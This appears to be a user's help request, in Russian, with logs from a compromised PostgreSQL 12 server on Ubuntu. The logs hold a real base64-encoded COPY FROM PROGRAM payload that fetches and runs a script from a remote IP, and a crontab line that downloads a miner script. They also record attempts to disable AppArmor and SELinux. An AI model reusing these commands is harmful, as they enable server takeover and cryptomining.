Я использую ubuntu 18.04 и postgresql 12,
Смотрите журнал ниже:
16 декабря 09:39:19 сервер sudo[55084]: postgres: TTY=неизвестно; PWD=/var/lib/postgresql/12/main ; ПОЛЬЗОВАТЕЛЬ=корень ; КОМАНДА=/usr/sbin/sysctl kernel.nmi_watchdog=0
16 декабря 09:39:19 сервер sudo[55084]: pam_unix(sudo:session): сеанс открыт для пользователя root пользователем (uid=0)
16 декабря 09:39:19 сервер sudo[55084]: pam_unix(sudo:session): сеанс закрыт для пользователя root
16 декабря 09:39:24 сервер crontab[56537]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56539]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56543]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56545]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56547]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56550]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56552]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56553]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56555]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56556]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56558]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56559]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56561]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56562]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56564]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56565]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56567]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56568]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56570]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56571]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56573]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56574]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56576]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56577]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56579]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56580]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56582]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56583]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56585]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56586]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56588]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56589]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56591]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56592]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56594]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56595]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56597]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56598]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56600]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56601]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56603]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56604]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56606]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56607]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56609]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56610]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56612]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56613]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56615]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56616]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56618]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56619]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56621]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56622]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56624]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56625]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56627]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56628]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56630]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56631]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56633]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56634]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56636]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56637]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56639]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56640]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56642]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56643]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56645]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56646]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56648]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56649]: (postgres) LIST (postgres)
16 декабря 09:39:24 сервер crontab[56651]: (postgres) REPLACE (postgres)
16 декабря 09:39:24 сервер crontab[56652]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56654]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56655]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56657]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56658]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56660]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56661]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56663]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56664]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56666]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56667]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56669]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56670]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56672]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56673]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56675]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56676]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56678]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56679]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56681]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56682]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56684]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56685]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56687]: (postgres) REPLACE (postgres)
16 декабря 09:39:25 сервер crontab[56688]: (postgres) LIST (postgres)
16 декабря 09:39:25 сервер crontab[56690]: (postgres) REPLACE (postgres)
16 декабря, 09:39:25, сервер postgresql@12-main[56691]: кластер не запущен.
16 декабря 09:39:25 server systemd[1]: [email protected]: процесс управления завершен, код = завершен, статус = 2/INVALIDARGUMENT
16 декабря, 09:39:25 server systemd[1]: [email protected]: Ошибка с результатом «код выхода».
Логи за этот период:
rm: невозможно удалить '/var/log/syslog': разрешение отклонено
chattr: Отказано в доступе при установке флагов на /tmp/
chattr: Отказано в доступе при установке флагов в /var/tmp/
chattr: Отказано в доступе при установке флагов в /var/spool/cron
chattr: Отказано в доступе при установке флагов в /etc/crontab
ОШИБКА: Вы должны быть root, чтобы запустить этот скрипт
Fatal: не удается открыть файл блокировки /run/xtables.lock: разрешение отклонено
bash: строка 12: /proc/sys/kernel/nmi_watchdog: Отказано в доступе
bash: строка 13: /etc/sysctl.conf: Отказано в доступе
userdel: пользователь 'akay' не существует
userdel: пользователь 'vfinder' не существует
chattr: Отказано в доступе при попытке stat /root/.ssh/
chattr: Отказано в доступе при попытке stat /root/.ssh/authorized_keys
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
cat: /tmp/.X11-unix/01: Нет такого файла или каталога
cat: /tmp/.X11-unix/11: Нет такого файла или каталога
cat: /tmp/.X11-unix/22: Нет такого файла или каталога
cat: /tmp/.pg_stat.0: Нет такого файла или каталога
cat: /tmp/.pg_stat.1: Нет такого файла или каталога
cat: /data/./oka.pid: Нет такого файла или каталога
2021-12-16 09:39:20.212 +06 [54731] ЖУРНАЛ: получен запрос на интеллектуальное отключение
2021-12-16 09:39:20.222 +06 [54731] ЖУРНАЛ: фоновый рабочий «логический модуль запуска репликации» (PID 54738) завершился с кодом выхода 1
grep: завершающая обратная косая черта
kill: (16): Операция запрещена
kill: (56000): Нет такого процесса
kill: (56005): Нет такого процесса
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
(Не все процессы могут быть идентифицированы, информация о процессах, не принадлежащих
не будет отображаться, вам нужно быть root, чтобы увидеть все это.)
Не удалось остановить c3pool_miner.service: доступ запрещен
Подробности смотрите в системных журналах и в «статусе systemctl c3pool_miner.service».
log_rot: процесс не найден
chattr: Нет такого файла или каталога при попытке stat /etc/ld.so.preload
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh.1': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh.2': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh.3': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh.1': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh.2': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh.3': нет такого файла или каталога
rm: невозможно удалить '/var/tmp/lib': нет такого файла или каталога
rm: невозможно удалить '/var/tmp/.lib': нет такого файла или каталога
chattr: Нет такого файла или каталога при попытке stat /etc/ld.so.preload
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh.1': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh.2': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/1.sh.3': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh.1': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh.2': нет такого файла или каталога
rm: невозможно удалить '/opt/atlassian/confluence/bin/3.sh.3': нет такого файла или каталога
rm: невозможно удалить '/var/tmp/lib': нет такого файла или каталога
rm: невозможно удалить '/var/tmp/.lib': нет такого файла или каталога
chattr: Нет такого файла или каталога при попытке stat /tmp/lok
chmod: невозможно получить доступ к '/tmp/lok': нет такого файла или каталога
bash: строка 545: докер: команда не найдена
bash: строка 546: докер: команда не найдена
bash: строка 547: докер: команда не найдена
bash: строка 548: докер: команда не найдена
bash: строка 549: докер: команда не найдена
bash: строка 550: докер: команда не найдена
bash: строка 551: докер: команда не найдена
bash: строка 552: докер: команда не найдена
bash: строка 553: докер: команда не найдена
bash: строка 554: докер: команда не найдена
bash: строка 555: докер: команда не найдена
bash: строка 556: докер: команда не найдена
bash: строка 557: докер: команда не найдена
bash: строка 558: докер: команда не найдена
bash: строка 559: докер: команда не найдена
bash: строка 560: докер: команда не найдена
bash: строка 561: докер: команда не найдена
bash: строка 562: докер: команда не найдена
bash: строка 563: докер: команда не найдена
bash: строка 564: докер: команда не найдена
bash: строка 565: докер: команда не найдена
bash: строка 566: докер: команда не найдена
bash: строка 567: setenforce: команда не найдена
bash: строка 568: /etc/selinux/config: Отказано в доступе
Не удалось остановить apparmor.service: доступ запрещен
Подробности смотрите в системных журналах и в 'systemctl status apparmor.service'.
Синхронизация состояния apparmor.service со сценарием службы SysV с помощью /lib/systemd/systemd-sysv-install.
Выполнение: /lib/systemd/systemd-sysv-install отключить apparmor
Не удалось перезагрузить демон: доступ запрещен
update-rc.d: ошибка: Отказано в доступе
Не удалось остановить aliyun.service.service: доступ запрещен
Подробности смотрите в системных журналах и в 'systemctl status aliyun.service.service'.
Не удалось отключить устройство: доступ запрещен
/tmp/kinsing — это 648effa354b3cbaad87b45f48d59c616
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres FATAL: разрыв соединения из-за команды администратора
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres КОНТЕКСТ: КОПИРОВАТЬ opwcztav, строка 1: «kernel.nmi_watchdog = 0»
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres STATEMENT: DROP TABLE IF EXISTS OPWczTav;CREATE TABLE OPWczTav(cmd_output text);COPY OPWczTav FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE4NS4yNTAuMTQ4LjIxNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gMTg1LjI1MC4xNDguMjE3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vMTg1LjI1MC4xNDguMjE3L3BnMi5z aHxiYXNoCmZp|base64 -d|bash';SELECT * FROM OPWczTav;УДАЛИТЬ ТАБЛИЦУ, ЕСЛИ СУЩЕСТВУЕТ OPWczTav;
2021-12-16 09:39:25.142 +06 [54733] ЖУРНАЛ: завершение работы
2021-12-16 09:39:25.167 +06 [54731] ЖУРНАЛ: система базы данных отключена
Я просканировал систему с помощью ClamAV, он нашел файл вредоносного ПО в пути /var/lib/postgresql/12/основной/а.
Его содержание:
bind: операция не разрешена
cmd: echo "*/30 * * * * /var/lib/postgresql/12/main/./oka" > /tmp/a;echo "* */6 * * * wget -q -O- http:/ /xmr.linux1213.ru:2019/back.sh|sh">> /tmp/a; кронтаб /tmp/a;rm -rf /tmp/a
начало мониторинга
соединение не удалось, возврат: -1
это источник неприятностей?
